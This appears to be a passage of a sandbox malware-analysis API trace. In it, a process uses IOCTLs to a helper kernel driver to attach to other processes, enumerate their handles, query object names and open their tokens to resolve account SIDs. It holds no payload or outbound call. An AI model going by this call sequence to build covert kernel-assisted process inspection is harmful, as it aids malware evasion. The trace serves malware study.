GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0104.894] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0104.896] CloseHandle (hObject=0xc8) returned 1 [0104.896] CloseHandle (hObject=0xc0) returned 1 [0104.896] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.896] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0104.896] PsLookupProcessByProcessId (in: ProcessId=0x54c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.896] PsAcquireProcessExitSynchronization () returned 0x0 [0104.896] KeStackAttachProcess (in: PROCESS=0xfffffa80020485e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020485e0, ApcState=0xfffff88004f095d0) [0104.896] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002048d00, HandleInformation=0x0) returned 0x0 [0104.896] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.896] PsReleaseProcessExitSynchronization () returned 0x2 [0104.896] ObfDereferenceObject (Object=0xfffffa80020485e0) returned 0x10 [0104.896] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025fc044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025fc044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.896] ObfDereferenceObject (Object=0xfffffa8002048d00) returned 0x1 [0104.896] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.896] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.896] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.896] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x98, lpOverlapped=0x0) returned 1 [0104.896] PsLookupProcessByProcessId (in: ProcessId=0x54c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.896] PsAcquireProcessExitSynchronization () returned 0x0 [0104.896] KeStackAttachProcess (in: PROCESS=0xfffffa80020485e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020485e0, ApcState=0xfffff88004f095d0) [0104.896] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800204eca0, HandleInformation=0x0) returned 0x0 [0104.896] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.896] PsReleaseProcessExitSynchronization () returned 0x2 [0104.897] ObfDereferenceObject (Object=0xfffffa80020485e0) returned 0x10 [0104.897] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fb7044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fb7044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.897] ObfDereferenceObject (Object=0xfffffa800204eca0) returned 0x1 [0104.897] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.897] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.897] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.897] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0104.897] PsLookupProcessByProcessId (in: ProcessId=0x54c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.897] PsAcquireProcessExitSynchronization () returned 0x0 [0104.897] KeStackAttachProcess (in: PROCESS=0xfffffa80020485e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020485e0, ApcState=0xfffff88004f095d0) [0104.897] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0104.897] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.897] PsReleaseProcessExitSynchronization () returned 0x2 [0104.897] ObfDereferenceObject (Object=0xfffffa80020485e0) returned 0x10 [0104.897] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80025fd044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fd044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.897] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0104.897] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.897] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.897] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x220) returned 0xc0 [0104.897] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0104.897] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8001fc6060, HandleInformation=0x0) returned 0x0 [0104.897] ObOpenObjectByPointer (in: Object=0xfffffa8001fc6060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff800009a4) returned 0x0 [0104.897] ObfDereferenceObject (Object=0xfffffa8001fc6060) returned 0x12 [0104.897] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009a4, DesiredAccess=0x8, TokenHandle=0xfffffa80028c1380 | out: TokenHandle=0xfffffa80028c1380*=0xc8) returned 0x0 [0104.897] ZwClose (Handle=0xffffffff800009a4) returned 0x0 [0104.897] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.897] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0104.897] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0104.899] CloseHandle (hObject=0xc8) returned 1 [0104.899] CloseHandle (hObject=0xc0) returned 1 [0104.899] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.899] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0104.899] PsLookupProcessByProcessId (in: ProcessId=0x220, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.899] PsAcquireProcessExitSynchronization () returned 0x0 [0104.899] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc6060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001fc6060, ApcState=0xfffff88004f095d0) [0104.899] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800204e730, HandleInformation=0x0) returned 0x0 [0104.899] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.899] PsReleaseProcessExitSynchronization () returned 0x2 [0104.899] ObfDereferenceObject (Object=0xfffffa8001fc6060) returned 0x10 [0104.899] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025075c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025075c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.899] ObfDereferenceObject (Object=0xfffffa800204e730) returned 0x1 [0104.899] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.899] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.899] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.899] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0104.899] PsLookupProcessByProcessId (in: ProcessId=0x220, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.899] PsAcquireProcessExitSynchronization () returned 0x0 [0104.899] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc6060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001fc6060, ApcState=0xfffff88004f095d0) [0104.899] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800205dbb0, HandleInformation=0x0) returned 0x0 [0104.899] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.899] PsReleaseProcessExitSynchronization () returned 0x2 [0104.899] ObfDereferenceObject (Object=0xfffffa8001fc6060) returned 0x10 [0104.899] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001feb044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001feb044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.899] ObfDereferenceObject (Object=0xfffffa800205dbb0) returned 0x1 [0104.899] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.900] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.900] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.900] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0104.900] PsLookupProcessByProcessId (in: ProcessId=0x220, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.900] PsAcquireProcessExitSynchronization () returned 0x0 [0104.900] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc6060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001fc6060, ApcState=0xfffff88004f095d0) [0104.900] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0104.900] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.900] PsReleaseProcessExitSynchronization () returned 0x2 [0104.900] ObfDereferenceObject (Object=0xfffffa8001fc6060) returned 0x10 [0104.900] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800248c7c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800248c7c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.900] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0104.900] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.900] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.900] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x248) returned 0xc0 [0104.900] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0104.900] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8002065b30, HandleInformation=0x0) returned 0x0 [0104.900] ObOpenObjectByPointer (in: Object=0xfffffa8002065b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff800009a4) returned 0x0 [0104.900] ObfDereferenceObject (Object=0xfffffa8002065b30) returned 0x12 [0104.900] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009a4, DesiredAccess=0x8, TokenHandle=0xfffffa80028c1380 | out: TokenHandle=0xfffffa80028c1380*=0xc8) returned 0x0 [0104.900] ZwClose (Handle=0xffffffff800009a4) returned 0x0 [0104.900] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.900] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0104.900] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0105.125] CloseHandle (hObject=0xc8) returned 1 [0105.125] CloseHandle (hObject=0xc0) returned 1 [0105.125] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.125] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0105.125] PsLookupProcessByProcessId (in: ProcessId=0x248, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.125] PsAcquireProcessExitSynchronization () returned 0x0 [0105.126] KeStackAttachProcess (in: PROCESS=0xfffffa8002065b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002065b30, ApcState=0xfffff88004f095d0) [0105.126] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800206eea0, HandleInformation=0x0) returned 0x0 [0105.126] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.126] PsReleaseProcessExitSynchronization () returned 0x2 [0105.126] ObfDereferenceObject (Object=0xfffffa8002065b30) returned 0x10 [0105.126] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003857044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8003857044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.126] ObfDereferenceObject (Object=0xfffffa800206eea0) returned 0x1 [0105.126] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.126] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.126] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.126] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0105.126] PsLookupProcessByProcessId (in: ProcessId=0x248, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.126] PsAcquireProcessExitSynchronization () returned 0x0 [0105.126] KeStackAttachProcess (in: PROCESS=0xfffffa8002065b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002065b30, ApcState=0xfffff88004f095d0) [0105.126] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800206e2b0, HandleInformation=0x0) returned 0x0 [0105.126] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.126] PsReleaseProcessExitSynchronization () returned 0x2 [0105.126] ObfDereferenceObject (Object=0xfffffa8002065b30) returned 0x10 [0105.126] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800264e044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800264e044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.126] ObfDereferenceObject (Object=0xfffffa800206e2b0) returned 0x1 [0105.126] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.126] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.126] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.126] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0105.126] PsLookupProcessByProcessId (in: ProcessId=0x248, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.126] PsAcquireProcessExitSynchronization () returned 0x0 [0105.126] KeStackAttachProcess (in: PROCESS=0xfffffa8002065b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002065b30, ApcState=0xfffff88004f095d0) [0105.127] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0105.127] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.127] PsReleaseProcessExitSynchronization () returned 0x2 [0105.127] ObfDereferenceObject (Object=0xfffffa8002065b30) returned 0x10 [0105.127] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80037a6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80037a6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0105.127] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0105.127] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.127] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.127] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x80c) returned 0xc0 [0105.127] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0105.127] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa800208e520, HandleInformation=0x0) returned 0x0 [0105.127] ObOpenObjectByPointer (in: Object=0xfffffa800208e520, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff800009f0) returned 0x0 [0105.127] ObfDereferenceObject (Object=0xfffffa800208e520) returned 0x12 [0105.127] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009f0, DesiredAccess=0x8, TokenHandle=0xfffffa80028c1380 | out: TokenHandle=0xfffffa80028c1380*=0xc8) returned 0x0 [0105.127] ZwClose (Handle=0xffffffff800009f0) returned 0x0 [0105.127] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.127] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0105.127] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0105.129] CloseHandle (hObject=0xc8) returned 1 [0105.129] CloseHandle (hObject=0xc0) returned 1 [0105.129] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.129] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0105.129] PsLookupProcessByProcessId (in: ProcessId=0x80c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.129] PsAcquireProcessExitSynchronization () returned 0x0 [0105.129] KeStackAttachProcess (in: PROCESS=0xfffffa800208e520, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800208e520, ApcState=0xfffff88004f095d0) [0105.129] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800208edc0, HandleInformation=0x0) returned 0x0 [0105.129] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.129] PsReleaseProcessExitSynchronization () returned 0x2 [0105.129] ObfDereferenceObject (Object=0xfffffa800208e520) returned 0x10 [0105.129] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025fe044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025fe044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.129] ObfDereferenceObject (Object=0xfffffa800208edc0) returned 0x1 [0105.129] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.129] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.129] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.129] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0105.130] PsLookupProcessByProcessId (in: ProcessId=0x80c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.130] PsAcquireProcessExitSynchronization () returned 0x0 [0105.130] KeStackAttachProcess (in: PROCESS=0xfffffa800208e520, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800208e520, ApcState=0xfffff88004f095d0) [0105.130] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80020927e0, HandleInformation=0x0) returned 0x0 [0105.131] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.131] PsReleaseProcessExitSynchronization () returned 0x2 [0105.131] ObfDereferenceObject (Object=0xfffffa800208e520) returned 0x10 [0105.131] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fa5044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fa5044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.131] ObfDereferenceObject (Object=0xfffffa80020927e0) returned 0x1 [0105.131] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.131] 